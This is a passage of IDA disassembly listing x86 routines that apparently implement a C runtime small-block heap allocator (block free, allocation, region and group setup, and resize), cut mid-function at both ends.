; ---------------------------------------------------------------------------


loc_41AEFF:				; CODE XREF: sub_41ADB4+12Dj
		lea	ecx, [ebx-20h]
		mov	esi, 80000000h
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41AF1E
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi


loc_41AF1E:				; CODE XREF: sub_41ADB4+128j
					; sub_41ADB4+142j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx


loc_41AF36:				; CODE XREF: sub_41ADB4+11Dj
		mov	esi, [ebp+arg_4]
		jmp	short loc_41AF3E
; ---------------------------------------------------------------------------


loc_41AF3B:				; CODE XREF: sub_41ADB4+EDj
		mov	ebx, [ebp+arg_0]


loc_41AF3E:				; CODE XREF: sub_41ADB4+185j
		cmp	[ebp+var_C], 0
		jnz	short loc_41AF4C
		cmp	ebx, edx
		jz	loc_41AFCD


loc_41AF4C:				; CODE XREF: sub_41ADB4+18Ej
		mov	ecx, [ebp+var_10]
		mov	ebx, [ecx+edx*8+4]
		lea	ecx, [ecx+edx*8]
		mov	[esi+4], ebx
		mov	[esi+8], ecx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_41AFCD
		mov	cl, [edx+eax+4]
		cmp	edx, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edx+eax+4], cl
		jnb	short loc_41AFA4
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41AF93
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41AF93:				; CODE XREF: sub_41ADB4+1CFj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_41AFCD
; ---------------------------------------------------------------------------


loc_41AFA4:				; CODE XREF: sub_41ADB4+1C9j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41AFBA
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41AFBA:				; CODE XREF: sub_41ADB4+1F4j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx


loc_41AFCD:				; CODE XREF: sub_41ADB4+192j
					; sub_41ADB4+1B7j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_41B0D8
		mov	eax, dword_48B674
		test	eax, eax
		jz	loc_41B0CA
		mov	ecx, dword_48B66C
		mov	esi, dword_4241B0
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	esi
		mov	ecx, dword_48B66C
		mov	eax, dword_48B674
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_48B674
		mov	ecx, dword_48B66C
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_48B674
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_48B674
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_41B05B
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_48B674


loc_41B05B:				; CODE XREF: sub_41ADB4+29Cj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_41B0CA
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi
		mov	eax, dword_48B674
		push	dword ptr [eax+10h]
		push	0
		push	dword_48B684
		nop
		call	near ptr 26E0000h
		mov	eax, dword_48B678
		mov	edx, dword_48B67C
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_48B674
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_4182C0
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_48B678
		cmp	eax, dword_48B674
		jbe	short loc_41B0C0
		sub	[ebp+arg_0], 14h


loc_41B0C0:				; CODE XREF: sub_41ADB4+306j
		mov	eax, dword_48B67C
		mov	dword_48B670, eax


loc_41B0CA:				; CODE XREF: sub_41ADB4+234j
					; sub_41ADB4+2ABj
		mov	eax, [ebp+arg_0]
		mov	dword_48B66C, edi
		mov	dword_48B674, eax


loc_41B0D8:				; CODE XREF: sub_41ADB4+38j
					; sub_41ADB4+227j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41ADB4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B0DD	proc near		; CODE XREF: sub_417BC7+18p
					; sub_41944F+77p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_48B678
		mov	edx, dword_48B67C
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_41B11D
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_41B12D
; ---------------------------------------------------------------------------


loc_41B11D:				; CODE XREF: sub_41B0DD+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_41B12D:				; CODE XREF: sub_41B0DD+3Ej
		mov	eax, dword_48B670
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_41B154


loc_41B13B:				; CODE XREF: sub_41B0DD+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41B154
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_41B13B


loc_41B154:				; CODE XREF: sub_41B0DD+5Cj
					; sub_41B0DD+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41B1D2
		mov	ebx, edx


loc_41B15B:				; CODE XREF: sub_41B0DD+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41B177
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41B175
		add	ebx, 14h
		jmp	short loc_41B15B
; ---------------------------------------------------------------------------


loc_41B175:				; CODE XREF: sub_41B0DD+91j
		cmp	ebx, eax


loc_41B177:				; CODE XREF: sub_41B0DD+83j
		jnz	short loc_41B1D2


loc_41B179:				; CODE XREF: sub_41B0DD+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_41B18F
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41B18C
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_41B179
; ---------------------------------------------------------------------------


loc_41B18C:				; CODE XREF: sub_41B0DD+A5j
		cmp	ebx, [ebp+var_4]


loc_41B18F:				; CODE XREF: sub_41B0DD+9Fj
		jnz	short loc_41B1B7
		mov	ebx, edx


loc_41B193:				; CODE XREF: sub_41B0DD+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41B1A7
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41B1A5
		add	ebx, 14h
		jmp	short loc_41B193
; ---------------------------------------------------------------------------


loc_41B1A5:				; CODE XREF: sub_41B0DD+C1j
		cmp	ebx, eax


loc_41B1A7:				; CODE XREF: sub_41B0DD+BBj
		jnz	short loc_41B1B7
		call	sub_41B3E6
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_41B1CB


loc_41B1B7:				; CODE XREF: sub_41B0DD:loc_41B18Fj
					; sub_41B0DD:loc_41B1A7j
		push	ebx
		call	sub_41B497
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41B1D2


loc_41B1CB:				; CODE XREF: sub_41B0DD+D8j
		xor	eax, eax
		jmp	loc_41B3E1
; ---------------------------------------------------------------------------


loc_41B1D2:				; CODE XREF: sub_41B0DD+7Aj
					; sub_41B0DD:loc_41B177j ...
		mov	dword_48B670, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41B1F9
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41B230


loc_41B1F9:				; CODE XREF: sub_41B0DD+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41B22D


loc_41B216:				; CODE XREF: sub_41B0DD+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_41B216


loc_41B22D:				; CODE XREF: sub_41B0DD+137j
		mov	edx, [ebp+var_4]


loc_41B230:				; CODE XREF: sub_41B0DD+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_41B259
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_41B259:				; CODE XREF: sub_41B0DD+16Dj
					; sub_41B0DD+183j
		test	ecx, ecx
		jl	short loc_41B262
		shl	ecx, 1
		inc	edi
		jmp	short loc_41B259
; ---------------------------------------------------------------------------


loc_41B262:				; CODE XREF: sub_41B0DD+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_41B27F
		push	3Fh
		pop	esi


loc_41B27F:				; CODE XREF: sub_41B0DD+19Dj
		cmp	esi, edi
		jz	loc_41B394
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41B2F0
		cmp	edi, 20h
		jge	short loc_41B2BF
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_41B2ED
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_41B2F0
; ---------------------------------------------------------------------------


loc_41B2BF:				; CODE XREF: sub_41B0DD+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_41B2ED
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_41B2F0
; ---------------------------------------------------------------------------


loc_41B2ED:				; CODE XREF: sub_41B0DD+1D6j
					; sub_41B0DD+203j
		mov	ebx, [ebp+arg_0]


loc_41B2F0:				; CODE XREF: sub_41B0DD+1B0j
					; sub_41B0DD+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_41B3A0
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41B391
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_41B362
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41B350
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_41B350:				; CODE XREF: sub_41B0DD+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_41B391
; ---------------------------------------------------------------------------


loc_41B362:				; CODE XREF: sub_41B0DD+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41B37B
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_41B37B:				; CODE XREF: sub_41B0DD+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_41B391:				; CODE XREF: sub_41B0DD+24Ej
					; sub_41B0DD+283j
		mov	ecx, [ebp+var_8]


loc_41B394:				; CODE XREF: sub_41B0DD+1A4j
		test	ecx, ecx
		jz	short loc_41B3A3
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_41B3A3
; ---------------------------------------------------------------------------


loc_41B3A0:				; CODE XREF: sub_41B0DD+229j
		mov	ecx, [ebp+var_8]


loc_41B3A3:				; CODE XREF: sub_41B0DD+2B9j
					; sub_41B0DD+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41B3D9
		cmp	ebx, dword_48B674
		jnz	short loc_41B3D9
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_48B66C
		jnz	short loc_41B3D9
		and	dword_48B674, 0


loc_41B3D9:				; CODE XREF: sub_41B0DD+2E0j
					; sub_41B0DD+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_41B3E1:				; CODE XREF: sub_41B0DD+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B0DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B3E6	proc near		; CODE XREF: sub_41B0DD+CCp
		mov	eax, dword_48B678
		mov	ecx, dword_48B668
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41B429
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_48B67C
		push	edi
		push	dword_48B684
		nop
		call	near ptr 2800000h
		cmp	eax, edi
		jz	short loc_41B479
		add	dword_48B668, 10h
		mov	dword_48B67C, eax
		mov	eax, dword_48B678


loc_41B429:				; CODE XREF: sub_41B3E6+11j
		mov	ecx, dword_48B67C
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_48B684
		lea	esi, [ecx+eax*4]
		nop
		call	near ptr 26F0000h
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_41B479
		push	4
		push	2000h
		push	100000h
		push	edi
		call	near ptr 2830702h
		nop
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_41B47D
		push	dword ptr [esi+10h]
		push	edi
		push	dword_48B684
		nop
		call	near ptr 26E0000h


loc_41B479:				; CODE XREF: sub_41B3E6+30j
					; sub_41B3E6+67j
		xor	eax, eax
		jmp	short loc_41B494
; ---------------------------------------------------------------------------


loc_41B47D:				; CODE XREF: sub_41B3E6+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_48B678
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_41B494:				; CODE XREF: sub_41B3E6+95j
		pop	edi
		pop	esi
		retn
sub_41B3E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B497	proc near		; CODE XREF: sub_41B0DD+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_41B4A9:				; CODE XREF: sub_41B497+19j
		test	eax, eax
		jl	short loc_41B4B2
		shl	eax, 1
		inc	ebx
		jmp	short loc_41B4A9
; ---------------------------------------------------------------------------


loc_41B4B2:				; CODE XREF: sub_41B497+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_41B4C7:				; CODE XREF: sub_41B497+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41B4C7
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		nop
		call	near ptr 2830702h
		test	eax, eax
		jnz	short loc_41B4FA
		or	eax, 0FFFFFFFFh
		jmp	loc_41B58D
; ---------------------------------------------------------------------------


loc_41B4FA:				; CODE XREF: sub_41B497+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_41B540
		lea	eax, [edi+10h]


loc_41B507:				; CODE XREF: sub_41B497+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41B507


loc_41B540:				; CODE XREF: sub_41B497+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_41B57D
		or	[eax+4], edi


loc_41B57D:				; CODE XREF: sub_41B497+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_41B58D:				; CODE XREF: sub_41B497+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B497	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B592	proc near		; CODE XREF: sub_41944F+6Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_41B740
		test	bl, 1
		jnz	loc_41B739
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41B739
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41B609
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_41B609:				; CODE XREF: sub_41B592+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41B659
		cmp	ecx, 20h
		jnb	short loc_41B635
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41B659
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41B659
; ---------------------------------------------------------------------------


loc_41B635:				; CODE XREF: sub_41B592+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41B659
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41B659:				; CODE XREF: sub_41B592+7Dj
					; sub_41B592+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41B727
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_41B693
		push	3Fh
		pop	edi


loc_41B693:				; CODE XREF: sub_41B592+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41B715
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41B6EC
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41B6DF
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41B6DF:				; CODE XREF: sub_41B592+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_41B711
; ---------------------------------------------------------------------------


loc_41B6EC:				; CODE XREF: sub_41B592+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41B702
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41B702:				; CODE XREF: sub_41B592+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h


loc_41B711:				; CODE XREF: sub_41B592+158j
		shr	edx, cl
		or	[eax], edx


loc_41B715:				; CODE XREF: sub_41B592+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41B72A
; ---------------------------------------------------------------------------


loc_41B727:				; CODE XREF: sub_41B592+E5j
		mov	edx, [ebp+arg_4]


loc_41B72A:				; CODE XREF: sub_41B592+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_41B880
; ---------------------------------------------------------------------------


loc_41B739:				; CODE XREF: sub_41B592+52j
					; sub_41B592+5Cj
		xor	eax, eax
		jmp	loc_41B883
; ---------------------------------------------------------------------------


loc_41B740:				; CODE XREF: sub_41B592+49j
		jge	loc_41B880
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_41B76B
		push	3Fh
		pop	esi


loc_41B76B:				; CODE XREF: sub_41B592+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41B7FA
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41B784
		push	3Fh
		pop	esi


loc_41B784:				; CODE XREF: sub_41B592+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_41B7D3
		cmp	esi, 20h
		jnb	short loc_41B7AF
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_41B7D0
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41B7D0
; ---------------------------------------------------------------------------


loc_41B7AF:				; CODE XREF: sub_41B592+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41B7D0
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41B7D0:				; CODE XREF: sub_41B592+214j
					; sub_41B592+21Bj ...
		mov	ebx, [ebp+arg_4]


loc_41B7D3:				; CODE XREF: sub_41B592+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41B7FA
		push	3Fh
		pop	esi


loc_41B7FA:				; CODE XREF: sub_41B592+1DDj
					; sub_41B592+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41B877
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_41B84E
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41B841
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_41B841:				; CODE XREF: sub_41B592+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_41B873
; ---------------------------------------------------------------------------


loc_41B84E:				; CODE XREF: sub_41B592+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41B864
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_41B864:				; CODE XREF: sub_41B592+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h


loc_41B873:				; CODE XREF: sub_41B592+2BAj
		shr	edx, cl
		or	[eax], edx


loc_41B877:				; CODE XREF: sub_41B592+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_41B880:				; CODE XREF: sub_41B592+1A2j
					; sub_41B592:loc_41B740j
		push	1
		pop	eax


